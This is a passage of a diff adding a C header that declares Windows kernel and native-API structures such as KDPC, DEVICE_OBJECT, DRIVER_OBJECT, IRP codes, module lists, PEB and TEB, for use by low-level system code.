LIST_ENTRY MutantListEntry; + struct _KTHREAD *OwnerThread; + BOOLEAN Abandoned; + UCHAR ApcDisable; +} KMUTANT, *PKMUTANT, *PRKMUTANT, KMUTEX, *PKMUTEX, *PRKMUTEX; + +typedef struct _KSEMAPHORE { + DISPATCHER_HEADER Header; + LONG Limit; +} KSEMAPHORE, *PKSEMAPHORE, *PRKSEMAPHORE; + +typedef struct _KTIMER { + DISPATCHER_HEADER Header; + ULARGE_INTEGER DueTime; + LIST_ENTRY TimerListEntry; + struct _KDPC *Dpc; + ULONG Processor; + LONG Period; +} KTIMER, *PKTIMER, *PRKTIMER; + +typedef struct _KDEVICE_QUEUE_ENTRY { + LIST_ENTRY DeviceListEntry; + ULONG SortKey; + BOOLEAN Inserted; +} KDEVICE_QUEUE_ENTRY, *PKDEVICE_QUEUE_ENTRY, *PRKDEVICE_QUEUE_ENTRY; + +typedef enum _KDPC_IMPORTANCE { + LowImportance, + MediumImportance, + HighImportance +} KDPC_IMPORTANCE; + +typedef struct _KDPC { + union { + ULONG TargetInfoAsUlong; + struct { + UCHAR Type; + UCHAR Importance; + volatile USHORT Number; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + SINGLE_LIST_ENTRY DpcListEntry; + KAFFINITY ProcessorHistory; + PVOID DeferredRoutine; + PVOID DeferredContext; + PVOID SystemArgument1; + PVOID SystemArgument2; + __volatile PVOID DpcData; +} KDPC, *PKDPC, *PRKDPC; + +typedef struct _WAIT_CONTEXT_BLOCK { + union { + KDEVICE_QUEUE_ENTRY WaitQueueEntry; + struct { + LIST_ENTRY DmaWaitEntry; + ULONG NumberOfChannels; + ULONG SyncCallback : 1; + ULONG DmaContext : 1; + ULONG Reserved : 30; + }; + }; + PVOID DeviceRoutine; + PVOID DeviceContext; + ULONG NumberOfMapRegisters; + PVOID DeviceObject; + PVOID CurrentIrp; + PKDPC BufferChainingDpc; +} WAIT_CONTEXT_BLOCK, *PWAIT_CONTEXT_BLOCK; + +#define MAXIMUM_VOLUME_LABEL_LENGTH (32 * sizeof(WCHAR)) // 32 characters + +typedef struct _VPB { + CSHORT Type; + CSHORT Size; + USHORT Flags; + USHORT VolumeLabelLength; // in bytes + struct _DEVICE_OBJECT *DeviceObject; + struct _DEVICE_OBJECT *RealDevice; + ULONG SerialNumber; + ULONG ReferenceCount; + WCHAR VolumeLabel[MAXIMUM_VOLUME_LABEL_LENGTH / sizeof(WCHAR)]; +} VPB, *PVPB; + +typedef struct _KQUEUE { + DISPATCHER_HEADER Header; + LIST_ENTRY EntryListHead; + ULONG CurrentCount; + ULONG MaximumCount; + LIST_ENTRY ThreadListHead; +} KQUEUE, *PKQUEUE; + +typedef struct _KDEVICE_QUEUE { + CSHORT Type; + CSHORT Size; + LIST_ENTRY DeviceListHead; + KSPIN_LOCK Lock; + +#if defined(_AMD64_) + + union { + BOOLEAN Busy; + struct { + LONG64 Reserved : 8; + LONG64 Hint : 56; + }; + }; + +#else + + BOOLEAN Busy; + +#endif + +} KDEVICE_QUEUE, *PKDEVICE_QUEUE, *PRKDEVICE_QUEUE; + +enum _KOBJECTS { + EventNotificationObject = 0x0, + EventSynchronizationObject = 0x1, + MutantObject = 0x2, + ProcessObject = 0x3, + QueueObject = 0x4, + SemaphoreObject = 0x5, + ThreadObject = 0x6, + GateObject = 0x7, + TimerNotificationObject = 0x8, + TimerSynchronizationObject = 0x9, + Spare2Object = 0xa, + Spare3Object = 0xb, + Spare4Object = 0xc, + Spare5Object = 0xd, + Spare6Object = 0xe, + Spare7Object = 0xf, + Spare8Object = 0x10, + Spare9Object = 0x11, + ApcObject = 0x12, + DpcObject = 0x13, + DeviceQueueObject = 0x14, + EventPairObject = 0x15, + InterruptObject = 0x16, + ProfileObject = 0x17, + ThreadedDpcObject = 0x18, + MaximumKernelObject = 0x19, +}; + +#define DO_VERIFY_VOLUME 0x00000002 // ntddk nthal ntifs wdm +#define DO_BUFFERED_IO 0x00000004 // ntddk nthal ntifs wdm +#define DO_EXCLUSIVE 0x00000008 // ntddk nthal ntifs wdm +#define DO_DIRECT_IO 0x00000010 // ntddk nthal ntifs wdm +#define DO_MAP_IO_BUFFER 0x00000020 // ntddk nthal ntifs wdm +#define DO_DEVICE_HAS_NAME 0x00000040 // ntddk nthal ntifs +#define DO_DEVICE_INITIALIZING 0x00000080 // ntddk nthal ntifs wdm +#define DO_SYSTEM_BOOT_PARTITION 0x00000100 // ntddk nthal ntifs +#define DO_LONG_TERM_REQUESTS 0x00000200 // ntddk nthal ntifs +#define DO_NEVER_LAST_DEVICE 0x00000400 // ntddk nthal ntifs +#define DO_SHUTDOWN_REGISTERED 0x00000800 // ntddk nthal ntifs wdm +#define DO_BUS_ENUMERATED_DEVICE 0x00001000 // ntddk nthal ntifs wdm +#define DO_POWER_PAGABLE 0x00002000 // ntddk nthal ntifs wdm +#define DO_POWER_INRUSH 0x00004000 // ntddk nthal ntifs wdm +#define DO_POWER_NOOP 0x00008000 +#define DO_LOW_PRIORITY_FILESYSTEM 0x00010000 // ntddk nthal ntifs +#define DO_XIP 0x00020000 + +#define FILE_REMOVABLE_MEDIA 0x00000001 +#define FILE_READ_ONLY_DEVICE 0x00000002 +#define FILE_FLOPPY_DISKETTE 0x00000004 +#define FILE_WRITE_ONCE_MEDIA 0x00000008 +#define FILE_REMOTE_DEVICE 0x00000010 +#define FILE_DEVICE_IS_MOUNTED 0x00000020 +#define FILE_VIRTUAL_VOLUME 0x00000040 +#define FILE_AUTOGENERATED_DEVICE_NAME 0x00000080 +#define FILE_DEVICE_SECURE_OPEN 0x00000100 +#define FILE_CHARACTERISTIC_PNP_DEVICE 0x00000800 +#define FILE_CHARACTERISTIC_TS_DEVICE 0x00001000 +#define FILE_CHARACTERISTIC_WEBDAV_DEVICE 0x00002000 +#define FILE_CHARACTERISTIC_CSV 0x00010000 +#define FILE_DEVICE_ALLOW_APPCONTAINER_TRAVERSAL 0x00020000 +#define FILE_PORTABLE_DEVICE 0x00040000 + +#define FILE_DEVICE_BEEP 0x00000001 +#define FILE_DEVICE_CD_ROM 0x00000002 +#define FILE_DEVICE_CD_ROM_FILE_SYSTEM 0x00000003 +#define FILE_DEVICE_CONTROLLER 0x00000004 +#define FILE_DEVICE_DATALINK 0x00000005 +#define FILE_DEVICE_DFS 0x00000006 +#define FILE_DEVICE_DISK 0x00000007 +#define FILE_DEVICE_DISK_FILE_SYSTEM 0x00000008 +#define FILE_DEVICE_FILE_SYSTEM 0x00000009 +#define FILE_DEVICE_INPORT_PORT 0x0000000a +#define FILE_DEVICE_KEYBOARD 0x0000000b +#define FILE_DEVICE_MAILSLOT 0x0000000c +#define FILE_DEVICE_MIDI_IN 0x0000000d +#define FILE_DEVICE_MIDI_OUT 0x0000000e +#define FILE_DEVICE_MOUSE 0x0000000f +#define FILE_DEVICE_MULTI_UNC_PROVIDER 0x00000010 +#define FILE_DEVICE_NAMED_PIPE 0x00000011 +#define FILE_DEVICE_NETWORK 0x00000012 +#define FILE_DEVICE_NETWORK_BROWSER 0x00000013 +#define FILE_DEVICE_NETWORK_FILE_SYSTEM 0x00000014 +#define FILE_DEVICE_NULL 0x00000015 +#define FILE_DEVICE_PARALLEL_PORT 0x00000016 +#define FILE_DEVICE_PHYSICAL_NETCARD 0x00000017 +#define FILE_DEVICE_PRINTER 0x00000018 +#define FILE_DEVICE_SCANNER 0x00000019 +#define FILE_DEVICE_SERIAL_MOUSE_PORT 0x0000001a +#define FILE_DEVICE_SERIAL_PORT 0x0000001b +#define FILE_DEVICE_SCREEN 0x0000001c +#define FILE_DEVICE_SOUND 0x0000001d +#define FILE_DEVICE_STREAMS 0x0000001e +#define FILE_DEVICE_TAPE 0x0000001f +#define FILE_DEVICE_TAPE_FILE_SYSTEM 0x00000020 +#define FILE_DEVICE_TRANSPORT 0x00000021 +#define FILE_DEVICE_UNKNOWN 0x00000022 +#define FILE_DEVICE_VIDEO 0x00000023 +#define FILE_DEVICE_VIRTUAL_DISK 0x00000024 +#define FILE_DEVICE_WAVE_IN 0x00000025 +#define FILE_DEVICE_WAVE_OUT 0x00000026 +#define FILE_DEVICE_8042_PORT 0x00000027 +#define FILE_DEVICE_NETWORK_REDIRECTOR 0x00000028 +#define FILE_DEVICE_BATTERY 0x00000029 +#define FILE_DEVICE_BUS_EXTENDER 0x0000002a +#define FILE_DEVICE_MODEM 0x0000002b +#define FILE_DEVICE_VDM 0x0000002c +#define FILE_DEVICE_MASS_STORAGE 0x0000002d +#define FILE_DEVICE_SMB 0x0000002e +#define FILE_DEVICE_KS 0x0000002f +#define FILE_DEVICE_CHANGER 0x00000030 +#define FILE_DEVICE_SMARTCARD 0x00000031 +#define FILE_DEVICE_ACPI 0x00000032 +#define FILE_DEVICE_DVD 0x00000033 +#define FILE_DEVICE_FULLSCREEN_VIDEO 0x00000034 +#define FILE_DEVICE_DFS_FILE_SYSTEM 0x00000035 +#define FILE_DEVICE_DFS_VOLUME 0x00000036 +#define FILE_DEVICE_SERENUM 0x00000037 +#define FILE_DEVICE_TERMSRV 0x00000038 +#define FILE_DEVICE_KSEC 0x00000039 +#define FILE_DEVICE_FIPS 0x0000003A +#define FILE_DEVICE_INFINIBAND 0x0000003B +#define FILE_DEVICE_VMBUS 0x0000003E +#define FILE_DEVICE_CRYPT_PROVIDER 0x0000003F +#define FILE_DEVICE_WPD 0x00000040 +#define FILE_DEVICE_BLUETOOTH 0x00000041 +#define FILE_DEVICE_MT_COMPOSITE 0x00000042 +#define FILE_DEVICE_MT_TRANSPORT 0x00000043 +#define FILE_DEVICE_BIOMETRIC 0x00000044 +#define FILE_DEVICE_PMI 0x00000045 +#define FILE_DEVICE_EHSTOR 0x00000046 +#define FILE_DEVICE_DEVAPI 0x00000047 +#define FILE_DEVICE_GPIO 0x00000048 +#define FILE_DEVICE_USBEX 0x00000049 +#define FILE_DEVICE_CONSOLE 0x00000050 +#define FILE_DEVICE_NFP 0x00000051 +#define FILE_DEVICE_SYSENV 0x00000052 +#define FILE_DEVICE_VIRTUAL_BLOCK 0x00000053 +#define FILE_DEVICE_POINT_OF_SERVICE 0x00000054 + +#define FILE_BYTE_ALIGNMENT 0x00000000 +#define FILE_WORD_ALIGNMENT 0x00000001 +#define FILE_LONG_ALIGNMENT 0x00000003 +#define FILE_QUAD_ALIGNMENT 0x00000007 +#define FILE_OCTA_ALIGNMENT 0x0000000f +#define FILE_32_BYTE_ALIGNMENT 0x0000001f +#define FILE_64_BYTE_ALIGNMENT 0x0000003f +#define FILE_128_BYTE_ALIGNMENT 0x0000007f +#define FILE_256_BYTE_ALIGNMENT 0x000000ff +#define FILE_512_BYTE_ALIGNMENT 0x000001ff + +#define DPC_NORMAL 0 +#define DPC_THREADED 1 +#define DEVICE_TYPE DWORD + +typedef struct _DEVICE_OBJECT { + CSHORT Type; + USHORT Size; + LONG ReferenceCount; + struct _DRIVER_OBJECT *DriverObject; + struct _DEVICE_OBJECT *NextDevice; + struct _DEVICE_OBJECT *AttachedDevice; + struct _IRP *CurrentIrp; + PVOID Timer; + ULONG Flags; + ULONG Characteristics; + __volatile PVPB Vpb; + PVOID DeviceExtension; + DEVICE_TYPE DeviceType; + CCHAR StackSize; + union { + LIST_ENTRY ListEntry; + WAIT_CONTEXT_BLOCK Wcb; + } Queue; + ULONG AlignmentRequirement; + KDEVICE_QUEUE DeviceQueue; + KDPC Dpc; + ULONG ActiveThreadCount; + PSECURITY_DESCRIPTOR SecurityDescriptor; + KEVENT DeviceLock; + USHORT SectorSize; + USHORT Spare1; + struct _DEVOBJ_EXTENSION * DeviceObjectExtension; + PVOID Reserved; +} DEVICE_OBJECT, *PDEVICE_OBJECT; + +typedef struct _DEVOBJ_EXTENSION { + + CSHORT Type; + USHORT Size; + + // + // Public part of the DeviceObjectExtension structure + // + + PDEVICE_OBJECT DeviceObject; // owning device object + + // end_ntddk end_nthal end_ntifs end_wdm end_ntosp + + // + // Universal Power Data - all device objects must have this + // + + ULONG PowerFlags; // see ntos\po\pop.h + // WARNING: Access via PO macros + // and with PO locking rules ONLY. + + // + // Pointer to the non-universal power data + // Power data that only some device objects need is stored in the + // device object power extension -> DOPE + // see po.h + // + + struct _DEVICE_OBJECT_POWER_EXTENSION *Dope; + + // + // power state information + // + + // + // Device object extension flags. Protected by the IopDatabaseLock. + // + + ULONG ExtensionFlags; + + // + // PnP manager fields + // + + PVOID DeviceNode; + + // + // AttachedTo is a pointer to the device object that this device + // object is attached to. The attachment chain is now doubly + // linked: this pointer and DeviceObject->AttachedDevice provide the + // linkage. + // + + PDEVICE_OBJECT AttachedTo; + + // + // The next two fields are used to prevent recursion in IoStartNextPacket + // interfaces. + // + + LONG StartIoCount; // Used to keep track of number of pending start ios. + LONG StartIoKey; // Next startio key + ULONG StartIoFlags; // Start Io Flags. Need a separate flag so that it can be accessed without locks + PVPB Vpb; // If not NULL contains the VPB of the mounted volume. + // Set in the filesystem's volume device object. + // This is a reverse VPB pointer. + + // begin_ntddk begin_wdm begin_nthal begin_ntifs begin_ntosp + +} DEVOBJ_EXTENSION, *PDEVOBJ_EXTENSION; + +typedef struct _FAST_IO_DISPATCH { + ULONG SizeOfFastIoDispatch; + PVOID FastIoCheckIfPossible; + PVOID FastIoRead; + PVOID FastIoWrite; + PVOID FastIoQueryBasicInfo; + PVOID FastIoQueryStandardInfo; + PVOID FastIoLock; + PVOID FastIoUnlockSingle; + PVOID FastIoUnlockAll; + PVOID FastIoUnlockAllByKey; + PVOID FastIoDeviceControl; + PVOID AcquireFileForNtCreateSection; + PVOID ReleaseFileForNtCreateSection; + PVOID FastIoDetachDevice; + PVOID FastIoQueryNetworkOpenInfo; + PVOID AcquireForModWrite; + PVOID MdlRead; + PVOID MdlReadComplete; + PVOID PrepareMdlWrite; + PVOID MdlWriteComplete; + PVOID FastIoReadCompressed; + PVOID FastIoWriteCompressed; + PVOID MdlReadCompleteCompressed; + PVOID MdlWriteCompleteCompressed; + PVOID FastIoQueryOpen; + PVOID ReleaseForModWrite; + PVOID AcquireForCcFlush; + PVOID ReleaseForCcFlush; +} FAST_IO_DISPATCH, *PFAST_IO_DISPATCH; + +#define IO_TYPE_ADAPTER 0x00000001 +#define IO_TYPE_CONTROLLER 0x00000002 +#define IO_TYPE_DEVICE 0x00000003 +#define IO_TYPE_DRIVER 0x00000004 +#define IO_TYPE_FILE 0x00000005 +#define IO_TYPE_IRP 0x00000006 +#define IO_TYPE_MASTER_ADAPTER 0x00000007 +#define IO_TYPE_OPEN_PACKET 0x00000008 +#define IO_TYPE_TIMER 0x00000009 +#define IO_TYPE_VPB 0x0000000a +#define IO_TYPE_ERROR_LOG 0x0000000b +#define IO_TYPE_ERROR_MESSAGE 0x0000000c +#define IO_TYPE_DEVICE_OBJECT_EXTENSION 0x0000000d + +#define IRP_MJ_CREATE 0x00 +#define IRP_MJ_CREATE_NAMED_PIPE 0x01 +#define IRP_MJ_CLOSE 0x02 +#define IRP_MJ_READ 0x03 +#define IRP_MJ_WRITE 0x04 +#define IRP_MJ_QUERY_INFORMATION 0x05 +#define IRP_MJ_SET_INFORMATION 0x06 +#define IRP_MJ_QUERY_EA 0x07 +#define IRP_MJ_SET_EA 0x08 +#define IRP_MJ_FLUSH_BUFFERS 0x09 +#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a +#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b +#define IRP_MJ_DIRECTORY_CONTROL 0x0c +#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d +#define IRP_MJ_DEVICE_CONTROL 0x0e +#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f +#define IRP_MJ_SHUTDOWN 0x10 +#define IRP_MJ_LOCK_CONTROL 0x11 +#define IRP_MJ_CLEANUP 0x12 +#define IRP_MJ_CREATE_MAILSLOT 0x13 +#define IRP_MJ_QUERY_SECURITY 0x14 +#define IRP_MJ_SET_SECURITY 0x15 +#define IRP_MJ_POWER 0x16 +#define IRP_MJ_SYSTEM_CONTROL 0x17 +#define IRP_MJ_DEVICE_CHANGE 0x18 +#define IRP_MJ_QUERY_QUOTA 0x19 +#define IRP_MJ_SET_QUOTA 0x1a +#define IRP_MJ_PNP 0x1b +#define IRP_MJ_PNP_POWER IRP_MJ_PNP +#define IRP_MJ_MAXIMUM_FUNCTION 0x1b + +typedef struct _DRIVER_EXTENSION { + + // + // Back pointer to Driver Object + // + + struct _DRIVER_OBJECT *DriverObject; + + // + // The AddDevice entry point is called by the Plug & Play manager + // to inform the driver when a new device instance arrives that this + // driver must control. + // + + PVOID AddDevice; + + // + // The count field is used to count the number of times the driver has + // had its registered reinitialization routine invoked. + // + + ULONG Count; + + // + // The service name field is used by the pnp manager to determine + // where the driver related info is stored in the registry. + // + + UNICODE_STRING ServiceKeyName; + +} DRIVER_EXTENSION, *PDRIVER_EXTENSION; + +#define DRVO_UNLOAD_INVOKED 0x00000001 +#define DRVO_LEGACY_DRIVER 0x00000002 +#define DRVO_BUILTIN_DRIVER 0x00000004 // Driver objects for Hal, PnP Mgr +#define DRVO_REINIT_REGISTERED 0x00000008 +#define DRVO_INITIALIZED 0x00000010 +#define DRVO_BOOTREINIT_REGISTERED 0x00000020 +#define DRVO_LEGACY_RESOURCES 0x00000040 +// end_ntddk end_nthal end_ntifs end_ntosp +#define DRVO_BASE_FILESYSTEM_DRIVER 0x00000080 // A driver that is at the bottom of the filesystem stack. +// begin_ntddk begin_nthal begin_ntifs begin_ntosp + +typedef struct _DRIVER_OBJECT { + CSHORT Type; + CSHORT Size; + + // + // The following links all of the devices created by a single driver + // together on a list, and the Flags word provides an extensible flag + // location for driver objects. + // + + PDEVICE_OBJECT DeviceObject; + ULONG Flags; + + // + // The following section describes where the driver is loaded. The count + // field is used to count the number of times the driver has had its + // registered reinitialization routine invoked. + // + + PVOID DriverStart; + ULONG DriverSize; + PVOID DriverSection; //PLDR_DATA_TABLE_ENTRY + PDRIVER_EXTENSION DriverExtension; + + // + // The driver name field is used by the error log thread + // determine the name of the driver that an I/O request is/was bound. + // + + UNICODE_STRING DriverName; + + // + // The following section is for registry support. Thise is a pointer + // to the path to the hardware information in the registry + // + + PUNICODE_STRING HardwareDatabase; + + // + // The following section contains the optional pointer to an array of + // alternate entry points to a driver for "fast I/O" support. Fast I/O + // is performed by invoking the driver routine directly with separate + // parameters, rather than using the standard IRP call mechanism. Note + // that these functions may only be used for synchronous I/O, and when + // the file is cached. + // + + PFAST_IO_DISPATCH FastIoDispatch; + + // + // The following section describes the entry points to this particular + // driver. Note that the major function dispatch table must be the last + // field in the object so that it remains extensible. + // + + PVOID DriverInit; + PVOID DriverStartIo; + PVOID DriverUnload; + PVOID MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; + +} DRIVER_OBJECT; +typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT; + +typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + union + { + LIST_ENTRY InInitializationOrderLinks; + LIST_ENTRY InProgressLinks; + } DUMMYUNION0; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD ObsoleteLoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + } DUMMYUNION1; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + } DUMMYUNION2; + //fields below removed for compatibility +} LDR_DATA_TABLE_ENTRY_COMPATIBLE, *PLDR_DATA_TABLE_ENTRY_COMPATIBLE; + +//typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY; +//typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE *PLDR_DATA_TABLE_ENTRY; + + +/* +* WDM END +*/ + +/* +* NTQSI Modules START +*/ + +typedef struct _RTL_PROCESS_MODULE_INFORMATION { + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES { + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +/* +* NTQSI Modules END +*/ + +/* +** Virtual Memory START +*/ + +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, + MemoryWorkingSetInformation, + MemoryMappedFilenameInformation, + MemoryRegionInformation, + MemoryWorkingSetExInformation +} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS; + +typedef struct _MEMORY_REGION_INFORMATION { + PVOID AllocationBase; + ULONG AllocationProtect; + ULONG RegionType; + SIZE_T RegionSize; +} MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; + +/* +** Virtual Memory END +*/ + +/* +** System Firmware START +*/ + +typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION +{ + SystemFirmwareTable_Enumerate, + SystemFirmwareTable_Get +} SYSTEM_FIRMWARE_TABLE_ACTION, *PSYSTEM_FIRMWARE_TABLE_ACTION; + +typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION { + ULONG ProviderSignature; + SYSTEM_FIRMWARE_TABLE_ACTION Action; + ULONG TableID; + ULONG TableBufferLength; + UCHAR TableBuffer[ANYSIZE_ARRAY]; +} SYSTEM_FIRMWARE_TABLE_INFORMATION, *PSYSTEM_FIRMWARE_TABLE_INFORMATION; + +/* +** System Firmware END +*/ + +// +// PEB/TEB +// +//typedef struct _PEB_LDR_DATA +//{ +// ULONG Length; +// BOOLEAN Initialized; +// HANDLE SsHandle; +// LIST_ENTRY InLoadOrderModuleList; +// LIST_ENTRY InMemoryOrderModuleList; +// LIST_ENTRY InInitializationOrderModuleList; +// PVOID EntryInProgress; +// BOOLEAN ShutdownInProgress; +// HANDLE ShutdownThreadId; +//} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _GDI_HANDLE_ENTRY +{ + union + { + PVOID Object; + PVOID NextFree; + }; + union + { + struct + { + USHORT ProcessId; + USHORT Lock : 1; + USHORT Count : 15; + }; + ULONG Value; + } Owner; + USHORT Unique; + UCHAR Type; + UCHAR Flags; + PVOID UserPointer; +} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; + +#define GDI_MAX_HANDLE_COUNT 0x4000 + +typedef struct _GDI_SHARED_MEMORY +{ + GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; +} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; + +#define FLS_MAXIMUM_AVAILABLE 128 +#define TLS_MINIMUM_AVAILABLE 64 +#define TLS_EXPANSION_SLOTS 1024 + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, *PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#if !defined(_M_X64) +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID AtlThunkSListPtr; + PVOID IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + PVOID ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + PVOID ReadOnlySharedMemoryBase; + PVOID HotpatchInformation; + PVOID *ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID *ProcessHeaps; + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ImageProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; + PVOID ProcessAssemblyStorageMap; + PVOID SystemDefaultActivationContextData; + PVOID SystemAssemblyStorageMap; + + SIZE_T MinimumStackCommit; + + PVOID *FlsCallback; + LIST_ENTRY FlsListHead; + PVOID FlsBitmap; + ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + PVOID pContextData; + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG SpareTracingBits : 30; + }; + }; +} PEB, *PPEB; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + UCHAR Alignment[4]; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH, *PGDI_TEB_BATCH; + +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; 